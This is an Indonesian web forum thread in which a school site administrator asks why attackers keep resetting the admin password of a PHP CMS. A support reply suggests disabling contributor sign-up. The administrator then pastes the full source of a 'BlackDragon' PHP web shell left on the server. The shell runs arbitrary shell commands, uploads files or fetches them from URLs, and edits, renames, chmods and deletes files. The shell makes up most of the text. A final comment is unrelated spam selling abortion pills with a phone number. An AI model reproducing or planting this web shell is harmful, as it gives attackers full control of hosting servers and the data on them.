Hallo! Selamat Datang di Marketplace produk digital, Freelancer terbaik di indonesia (69034 Members, 785 Products, 4713 Topic, 13112 Comments)

Hecker mengganti password admin

Dibuat
Login Terakhir 1 Bulan lalu,
Telah Dilihat 569 Kali
Muhammad rais Mengatakan : Sultan Account
  1. Assalamualaikum Warahmatullahi Wabarakatuh...
  2. Maaf... Di akhir2 ini web sekolah kami (sikolag ci v 2) selalu di hacker dengan mengganti password admin, sehingga kami tidak bisa masuk, apa ada solusi?

Ada 8 Jawaban

Glen Lasut
commented on 21 Mei 2025 17:15:35
  1. Assalamualaikum,..
  2. Saya mengalami masalah yang sama.
PHPMU.COM Support
commented on 23 Mei 2025 10:48:07
  1. Assalamualaikum,.. setelah kita cek itu masuk dari akun kontributor, sebaiknya form pendaftaran kontributor di non aktifkan saja. ikuti ini : https://members.phpmu.com/forum/read/kontributor-agar-tidak-bisa-di-akses
  2.  
  3. NOTE : pastikan CMS nya selalu update ke versi terbaru...
Muhammad rais
commented on 27 Jun 2025 14:11:31
  1. Assalamualaikum,.. Maaf...Saya telah menonaktifkan pendaftaran kontributor tapi tetap saja mengganti pasword admin, mungkin ada cara lain?
Muhammad rais
commented on 27 Jun 2025 14:14:54
  1. Assalamualaikum,.. ini ada file php yang selalu disisakan setelah mengubah password admin, siapa tau bisa di pelajari dan bisa jadi solusi
Muhammad rais
commented on 27 Jun 2025 14:21:20
  1. Assalamualaikum,.. ini isi file php yang disisakan saat merubah password admin saya
  2. <?php null;
  3.  
  4. @ini_set('error_log', 0);
  5. @ini_set('log_errors', 0);
  6. @ini_set('max_execution_time', 0);
  7. @ini_set('output_buffering', 0);
  8. @ini_set('display_errors', 0);
  9.  
  10. function flash($message, $status, $class, $redirect = false) {
  11. if (!empty($_SESSION["message"])) {
  12. unset($_SESSION["message"]);
  13. }
  14. if (!empty($_SESSION["class"])) {
  15. unset($_SESSION["class"]);
  16. }
  17. if (!empty($_SESSION["status"])) {
  18. unset($_SESSION["status"]);
  19. }
  20. $_SESSION["message"] = $message;
  21. $_SESSION["class"] = $class;
  22. $_SESSION["status"] = $status;
  23. if ($redirect) {
  24. header('Location: ' . $redirect);
  25. exit();
  26. }
  27. return true;
  28. }
  29.  
  30. function clear() {
  31. if (!empty($_SESSION["message"])) {
  32. unset($_SESSION["message"]);
  33. }
  34. if (!empty($_SESSION["class"])) {
  35. unset($_SESSION["class"]);
  36. }
  37. if (!empty($_SESSION["status"])) {
  38. unset($_SESSION["status"]);
  39. }
  40. return true;
  41. }
  42.  
  43. function writable($path, $perms){
  44. return (!is_writable($path)) ? "<font color=\"red\">".$perms."</font>" : "<font color=\"lime\">".$perms."</font>";
  45. }
  46.  
  47. function perms($path) {
  48. $perms = fileperms($path);
  49. if (($perms & 0xC000) == 0xC000) {
  50. $info = 's';
  51. } elseif (($perms & 0xA000) == 0xA000) {
  52. $info = 'l';
  53. } elseif (($perms & 0x8000) == 0x8000) {
  54. $info = '-';
  55. } elseif (($perms & 0x6000) == 0x6000) {
  56. $info = 'b';
  57. } elseif (($perms & 0x4000) == 0x4000) {
  58. $info = 'd';
  59. } elseif (($perms & 0x2000) == 0x2000) {
  60. $info = 'c';
  61. } elseif (($perms & 0x1000) == 0x1000) {
  62. $info = 'p';
  63. } else {
  64. $info = 'u';
  65. }
  66.  
  67. $info .= (($perms & 0x0100) ? 'r' : '-');
  68. $info .= (($perms & 0x0080) ? 'w' : '-');
  69. $info .= (($perms & 0x0040) ?
  70. (($perms & 0x0800) ? 's' : 'x' ) :
  71. (($perms & 0x0800) ? 'S' : '-'));
  72.  
  73. $info .= (($perms & 0x0020) ? 'r' : '-');
  74. $info .= (($perms & 0x0010) ? 'w' : '-');
  75. $info .= (($perms & 0x0008) ?
  76. (($perms & 0x0400) ? 's' : 'x' ) :
  77. (($perms & 0x0400) ? 'S' : '-'));
  78.  
  79. $info .= (($perms & 0x0004) ? 'r' : '-');
  80. $info .= (($perms & 0x0002) ? 'w' : '-');
  81. $info .= (($perms & 0x0001) ?
  82. (($perms & 0x0200) ? 't' : 'x' ) :
  83. (($perms & 0x0200) ? 'T' : '-'));
  84.  
  85. return $info;
  86. }
  87.  
  88. function fsize($file) {
  89. $a = ["B", "KB", "MB", "GB", "TB", "PB"];
  90. $pos = 0;
  91. $size = filesize($file);
  92. while ($size >= 1024) {
  93. $size /= 1024;
  94. $pos++;
  95. }
  96. return round($size, 2)." ".$a[$pos];
  97. }
  98.  
  99. if (isset($_GET['dir'])) {
  100. $path = $_GET['dir'];
  101. chdir($_GET['dir']);
  102. } else {
  103. $path = getcwd();
  104. }
  105.  
  106. $path = str_replace('\\', '/', $path);
  107. $exdir = explode('/', $path);
  108.  
  109. function getOwner($item) {
  110. if (function_exists("posix_getpwuid")) {
  111. $downer = @posix_getpwuid(fileowner($item));
  112. $downer = $downer['name'];
  113. } else {
  114. $downer = fileowner($item);
  115. }
  116. if (function_exists("posix_getgrgid")) {
  117. $dgrp = @posix_getgrgid(filegroup($item));
  118. $dgrp = $dgrp['name'];
  119. } else {
  120. $dgrp = filegroup($item);
  121. }
  122. return $downer . '/' . $dgrp;
  123. }
  124.  
  125. if (isset($_POST['newFolderName'])) {
  126. if (mkdir($path . '/' . $_POST['newFolderName'])) {
  127. flash("Create Folder Successfully!", "Success", "success", "?dir=$path");
  128. } else {
  129. flash("Create Folder Failed", "Failed", "error", "?dir=$path");
  130. }
  131. }
  132. if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
  133. if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) {
  134. flash("Create File Successfully!", "Success", "success", "?dir=$path");
  135. } else {
  136. flash("Create File Failed", "Failed", "error", "?dir=$path");
  137. }
  138. }
  139. if (isset($_POST['newName']) && isset($_GET['item'])) {
  140. if ($_POST['newName'] == '') {
  141. flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  142. }
  143. if (rename($path. '/'. $_GET['item'], $_POST['newName'])) {
  144. flash("Rename Successfully!", "Success", "success", "?dir=$path");
  145. } else {
  146. flash("Rename Failed", "Failed", "error", "?dir=$path");
  147. }
  148. }
  149. if (isset($_POST['newContent']) && isset($_GET['item'])) {
  150. if (file_put_contents($path. '/'. $_GET['item'], $_POST['newContent'])) {
  151. flash("Edit Successfully!", "Success", "success", "?dir=$path");
  152. } else {
  153. flash("Edit Failed", "Failed", "error", "?dir=$path");
  154. }
  155. }
  156. if (isset($_POST['newPerm']) && isset($_GET['item'])) {
  157. if ($_POST['newPerm'] == '') {
  158. flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  159. }
  160. if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
  161. flash("Change Permission Successfully!", "Success", "success", "?dir=$path");
  162. } else {
  163. flash("Change Permission", "Failed", "error", "?dir=$path");
  164. }
  165. }
  166. if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
  167. if (is_dir($_GET['item'])) {
  168. if (rmdir($_GET['item'])) {
  169. flash("Delete Successfully!", "Success", "success", "?dir=$path");
  170. } else {
  171. flash("Delete Failed", "Failed", "error", "?dir=$path");
  172. }
  173. } else {
  174. if (unlink($_GET['item'])) {
  175. flash("Delete Successfully!", "Success", "success", "?dir=$path");
  176. } else {
  177. flash("Delete Failed", "Failed", "error", "?dir=$path");
  178. }
  179. }
  180. }
  181.  
  182. if ($_POST['submit']) {
  183. if ($_POST['upl'] == 'current') {
  184. $total = count($_FILES['uploadfile']['name']);
  185. for ($i = 0; $i < $total; $i++) {
  186. $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
  187. }
  188. if ($total < 2) {
  189. if ($mainupload) {
  190. flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
  191. } else {
  192. flash("Upload Failed", "Failed", "error", "?dir=$path");
  193. }
  194. } else {
  195. if ($mainupload) {
  196. flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
  197. } else {
  198. flash("Upload Failed", "Failed", "error", "?dir=$path");
  199. }
  200. }
  201. } elseif ($_POST['upl'] == 'root') {
  202. $total = count($_FILES['uploadfile']['name']);
  203. for ($i = 0; $i < $total; $i++) {
  204. $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_SERVER['DOCUMENT_ROOT']."/".$_FILES['uploadfile']['name'][$i]);
  205. }
  206. if ($total < 2) {
  207. if ($mainupload) {
  208. flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
  209. } else {
  210. flash("Upload Failed", "Failed", "error", "?dir=$path");
  211. }
  212. } else {
  213. if ($mainupload) {
  214. flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
  215. } else {
  216. flash("Upload Failed", "Failed", "error", "?dir=$path");
  217. }
  218. }
  219. }
  220. }
  221.  
  222. // Upload from URL
  223. if (isset($_POST['url']) && isset($_POST['filename']) && isset($_POST['method'])) {
  224. $url = $_POST['url'];
  225. $filename = $_POST['filename'];
  226. $destination = $path . '/' . $filename;
  227.  
  228. switch ($_POST['method']) {
  229. case 'file_get_contents':
  230. $data = file_get_contents($url);
  231. if ($data !== false) {
  232. file_put_contents($destination, $data);
  233. flash("File uploaded successfully using file_get_contents!", "Success", "success", "?dir=$path");
  234. } else {
  235. flash("Failed to upload file using file_get_contents", "Failed", "error", "?dir=$path");
  236. }
  237. break;
  238.  
  239. case 'curl':
  240. $ch = curl_init($url);
  241. $fp = fopen($destination, 'wb');
  242. curl_setopt($ch, CURLOPT_FILE, $fp);
  243. curl_setopt($ch, CURLOPT_HEADER, 0);
  244. curl_exec($ch);
  245. if (curl_errno($ch)) {
  246. flash("Failed to upload file using cURL: " . curl_error($ch), "Failed", "error", "?dir=$path");
  247. } else {
  248. flash("File uploaded successfully using cURL!", "Success", "success", "?dir=$path");
  249. }
  250. curl_close($ch);
  251. fclose($fp);
  252. break;
  253.  
  254. case 'fopen':
  255. $stream = fopen($url, 'rb');
  256. if ($stream) {
  257. $contents = stream_get_contents($stream);
  258. fclose($stream);
  259. file_put_contents($destination, $contents);
  260. flash("File uploaded successfully using fopen!", "Success", "success", "?dir=$path");
  261. } else {
  262. flash("Failed to upload file using fopen", "Failed", "error", "?dir=$path");
  263. }
  264. break;
  265.  
  266. case 'copy':
  267. if (copy($url, $destination)) {
  268. flash("File uploaded successfully using copy!", "Success", "success", "?dir=$path");
  269. } else {
  270. flash("Failed to upload file using copy", "Failed", "error", "?dir=$path");
  271. }
  272. break;
  273.  
  274. case 'stream_context':
  275. $context = stream_context_create(['http' => ['method' => 'GET']]);
  276. $data = file_get_contents($url, false, $context);
  277. if ($data !== false) {
  278. file_put_contents($destination, $data);
  279. flash("File uploaded successfully using stream_context!", "Success", "success", "?dir=$path");
  280. } else {
  281. flash("Failed to upload file using stream_context", "Failed", "error", "?dir=$path");
  282. }
  283. break;
  284. }
  285. }
  286.  
  287. $dirs = scandir($path);
  288.  
  289. $d0mains = @file("/etc/named.conf", false);
  290. if (!$d0mains){
  291. $dom = "Cant read /etc/named.conf";
  292. $GLOBALS["need_to_update_header"] = "true";
  293. } else {
  294. $count = 0;
  295. foreach ($d0mains as $d0main){
  296. if (@strstr($d0main, "zone")){
  297. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  298. flush();
  299. if (strlen(trim($domains[1][0])) > 2){
  300. flush();
  301. $count++;
  302. }
  303. }
  304. }
  305. $dom = "$count Domain";
  306. }
  307.  
  308. $ip = !@$_SERVER['SERVER_ADDR'] ? gethostbyname($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'];
  309. $serv = $_SERVER['HTTP_HOST'];
  310. $soft = $_SERVER['SERVER_SOFTWARE'];
  311. $uname = php_uname();
  312.  
  313. ?>
  314. <html>
  315. <head>
  316. <meta charset="utf-8">
  317. <meta name="viewport" content="width=device-width, initial-scale=1">
  318. <meta name="robots" content="noindex, nofollow">
  319. <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
  320. <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  321. <title><?= $serv; ?> - BlackDragon</title>
  322. </head>
  323. <body class="bg-dark text-light">
  324. <div class="container-fluid">
  325. <div class="py-3" id="main">
  326. <div class="box shadow bg-dark p-4 rounded-3">
  327. <div class="info mb-3">
  328. <i class="fa fa-server"></i> <?= $uname; ?><br>
  329. <i class="fa fa-microchip"></i> <?= $soft; ?><br>
  330. <i class="fa fa-satellite-dish"></i> <?= $ip; ?><br>
  331. <i class="fa fa-fingerprint"></i> <?= $dom; ?>
  332. </div>
  333. <div class="breadcrumb">
  334. <i class="fa fa fa-folder pt-1"></i> <?php foreach ($exdir as $id => $pat) : if ($pat == '' && $id == 0):?>
  335. <a href="?dir=/" class="text-decoration-none text-light">/</a>
  336. <?php endif; if ($pat == '') continue; ?>
  337. <a href="?dir=<?php for ($i = 0; $i <= $id; $i++) {echo "$exdir[$i]";if ($i != $id) echo "/";}?>" class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
  338. <?php endforeach; ?>
  339.   [ <?php echo writable($path, perms($path)) ?> ]
  340. <div class="row">
  341. <a href="?" class="text-decoration-none text-light">  [ HOME ]</a>
  342. </div>
  343. </div>
  344. <div class="d-flex justify-content-between">
  345. <div class="p-2">
  346. <form action="" method="post">
  347. <label for="name" class="form-label">Console</label>
  348. <div class="row">
  349. <div class="col-md-9 mb-3">
  350. <input type="text" class="form-control form-control-sm" name="bdcmd" placeholder="whoami">
  351. </div>
  352. <div class="col-md-3">
  353. <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
  354. </div>
  355. </div>
  356. </form>
  357. </div>
  358. <div class="p-2">
  359. <form action="" method="post" enctype="multipart/form-data">
  360. <input class="form-check-input" type="radio" id="flexRadioDefault1" name="upl" value="current" checked>
  361. <label class="form-label">Current Dir </label>
  362. <input class="form-check-input" type="radio" id="flexRadioDefault2" name="upl" value="root">
  363. <label class="form-label">Root Dir</label>
  364. <div class="row">
  365. <div class="col-md-9 mb-3">
  366. <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
  367. </div>
  368. <div class="col-md-3">
  369. <input type='submit' class="btn btn-outline-light btn-sm" value='Submit' name='submit'>
  370. </div>
  371. </div>
  372. </form>
  373. </div>
  374. </div>
  375. <div class="container" id="tools">
  376. <div class="collapse" id="uploadUrlCollapse" data-bs-parent="#tools" style="transition:none;">
  377. <form action="" method="post">
  378. <div class="mb-3">
  379. <label for="url" class="form-label">URL to Upload</label>
  380. <input type="text" class="form-control" name="url" placeholder="Enter URL here" required>
  381. </div>
  382. <div class="mb-3">
  383. <label for="filename" class="form-label">File Name</label>
  384. <input type="text" class="form-control" name="filename" placeholder="Enter file name" required>
  385. </div>
  386. <div class="mb-3">
  387. <label for="method" class="form-label">Upload Method</label>
  388. <select class="form-select" name="method" required>
  389. <option value="file_get_contents">file_get_contents</option>
  390. <option value="curl">cURL</option>
  391. <option value="fopen">fopen</option>
  392. <option value="copy">copy</option>
  393. <option value="stream_context">stream_context</option>
  394. </select>
  395. </div>
  396. <button type="submit" class="btn btn-outline-light">Upload</button>
  397. </form>
  398. </div>
  399. <a data-bs-toggle="collapse" href="#uploadUrlCollapse" role="button" aria-expanded="false" aria-controls="uploadUrlCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-link"></i> Upload from URL</a>
  400.  
  401. <?php if (isset($_POST['bdcmd'])) : ?>
  402. <div class="p-2">
  403. <div class="row justify-content-center">
  404. <div class='card text-dark mb-3'>
  405. <pre><?php echo $ip."@".$serv.": ~$ "; $cmd = $_POST['bdcmd']; echo $cmd."<br>";?><br><code><?php if(function_exists('shell_exec')){ echo shell_exec($cmd.' 2>&1'); } else { echo "Disable Function"; }?></code></pre>
  406. </div>
  407. </div>
  408. </div>
  409. <?php endif; ?>
  410. <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
  411. <div class="row justify-content-center">
  412. <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
  413. <form action="" method="post">
  414. <div class="mb-3">
  415. <label for="name" class="form-label">New Name</label>
  416. <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
  417. </div>
  418. <button type="submit" class="btn btn-outline-light">Submit</button>
  419. <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  420. </form>
  421. <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
  422. <form action="" method="post">
  423. <div class="mb-3">
  424. <label for="name" class="form-label"><?= $_GET['item'] ?></label>
  425. <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= htmlspecialchars(file_get_contents($path. '/'. $_GET['item'])) ?></textarea>
  426. </div>
  427. <button type="submit" class="btn btn-outline-light">Submit</button>
  428. <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
  429. <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  430. </form>
  431. <?php elseif ($action == 'view' && isset($_GET['item'])) : ?>
  432. <div class="mb-3">
  433. <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label>
  434. <textarea name="newContent" rows="10" class="form-control" disabled=""><?= htmlspecialchars(file_get_contents($path. '/'. $_GET['item'])) ?></textarea>
  435. <br>
  436. <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  437. </div>
  438. <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
  439. <form action="" method="post">
  440. <div class="mb-3">
  441. <label for="name" class="form-label"><?= $_GET['item'] ?></label>
  442. <input type="text" class="form-control" name="newPerm" value="<?= substr(sprintf('%o', fileperms($_GET['item'])), -4); ?>">
  443. </div>
  444. <button type="submit" class="btn btn-outline-light">Submit</button>
  445. <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  446. </form>
  447. <?php endif; ?>
  448. </div>
  449. <?php endif; ?>
  450. <div class="row justify-content-center">
  451. <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;">
  452. <form action="" method="post">
  453. <div class="mb-3">
  454. <label for="name" class="form-label">Folder Name</label>
  455. <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon">
  456. </div>
  457. <button type="submit" class="btn btn-outline-light">Submit</button>
  458. </form>
  459. </div>
  460. <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;">
  461. <form action="" method="post">
  462. <div class="mb-3">
  463. <label for="name" class="form-label">File Name</label>
  464. <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php">
  465. </div>
  466. <div class="mb-3">
  467. <label for="name" class="form-label">File Content</label>
  468. <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea>
  469. </div>
  470. <button type="submit" class="btn btn-outline-light">Submit</button>
  471. </form>
  472. </div>
  473. </div>
  474. </div>
  475. <div class="table-responsive">
  476. <table class="table table-hover table-dark text-light">
  477. <thead>
  478. <tr>
  479. <td style="width:35%">Name</td>
  480. <td style="width:10%">Type</td>
  481. <td style="width:10%">Size</td>
  482. <td style="width:13%">Owner/Group</td>
  483. <td style="width:10%">Permission</td>
  484. <td style="width:13%">Last Modified</td>
  485. <td style="width:9%">Actions</td>
  486. </tr>
  487. </thead>
  488. <tbody class="text-nowrap">
  489. <?php
  490. foreach ($dirs as $dir) :
  491. if (!is_dir($dir)) continue;
  492. ?>
  493. <tr>
  494. <td>
  495. <?php if ($dir === '..') : ?>
  496. <a href="?dir=<?= dirname($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
  497. <?php elseif ($dir === '.') : ?>
  498. <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
  499. <?php else : ?>
  500. <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a>
  501. <?php endif; ?>
  502. </td>
  503. <td class="text-light"><?= filetype($dir) ?></td>
  504. <td class="text-light">-</td>
  505. <td class="text-light"><?= getOwner($dir) ?></td>
  506. <td class="text-light">
  507. <?php
  508. if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
  509. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  510. echo perms($path.'/'.$dir);
  511. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
  512. ?>
  513. </td>
  514. <td class="text-light"><?= date("Y-m-d h:i:s", filemtime($dir)); ?></td>
  515. <td>
  516. <?php if ($dir != '.' && $dir != '..') : ?>
  517. <div class="btn-group">
  518. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
  519. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
  520. <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
  521. </div>
  522. <?php elseif ($dir === '.') : ?>
  523. <div class="btn-group">
  524. <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a>
  525. <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a>
  526. </div>
  527. <?php endif; ?>
  528. </td>
  529. </tr>
  530. <?php endforeach; ?>
  531. <?php
  532. foreach ($dirs as $dir) :
  533. if (!is_file($dir)) continue;
  534. ?>
  535. <tr>
  536. <td>
  537. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
  538. </td>
  539. <td class="text-light"><?= (function_exists('mime_content_type') ? mime_content_type($dir) : filetype($dir)) ?></td>
  540. <td class="text-light"><?= fsize($dir) ?></td>
  541. <td class="text-light"><?= getOwner($dir) ?></td>
  542. <td class="text-light">
  543. <?php
  544. if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
  545. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  546. echo perms($path.'/'.$dir);
  547. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
  548. ?>
  549. </td>
  550. <td class="text-light"><?= date("Y-m-d h:i:s", filemtime($dir)); ?></td>
  551. <td>
  552. <?php if ($dir != '.' && $dir != '..') : ?>
  553. <div class="btn-group">
  554. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a>
  555. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
  556. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
  557. <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
  558. </div>
  559. <?php endif; ?>
  560. </td>
  561. </tr>
  562. <?php endforeach; ?>
  563. </tbody>
  564. </table>
  565. </div>
  566. <div class="text-light">© BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div>
  567. </div>
  568. </div>
  569. </div>
  570. <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
  571. <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script>
  572. <script>
  573. <?php if (isset($_SESSION['message'])) : ?>
  574. Swal.fire(
  575. '<?= $_SESSION['status'] ?>',
  576. '<?= $_SESSION['message'] ?>',
  577. '<?= $_SESSION['class'] ?>'
  578. )
  579. <?php endif; clear(); ?>
  580. function deleteConfirm(url) {
  581. event.preventDefault()
  582. Swal.fire({
  583. title: 'Are you sure?',
  584. icon: 'warning',
  585. showCancelButton: true,
  586. confirmButtonColor: '#3085d6',
  587. cancelButtonColor: '#d33',
  588. confirmButtonText: 'Yes, delete it!'
  589. }).then((result) => {
  590. if (result.isConfirmed) {
  591. window.location.href = url
  592. }
  593. })
  594. }
  595. function jscopy() {
  596. var jsCopy = document.getElementById("CopyFromTextArea");
  597. jsCopy.focus();
  598. jsCopy.select();
  599. document.execCommand("copy");
  600. }
  601. </script>
  602. </body>
  603. </html>
Muhammad rais
commented on 27 Jun 2025 14:33:05
  1. Assalamualaikum,.. dan fungsi dari file php ini adalah untuk melihat dan mengelolah semua isi folder dalam cpanel yng kita miliki
Indah Putri
commented on 05 Jul 2025 22:41:56
  1. Assalamu'alaikum
Indah Putri
commented on 05 Jul 2025 22:42:52
  1. Ciri ciri obat cytotec asli dan palsu 082138593792
Maaf, Untuk Memberikan Komentar Anda Harus Login !!!

Online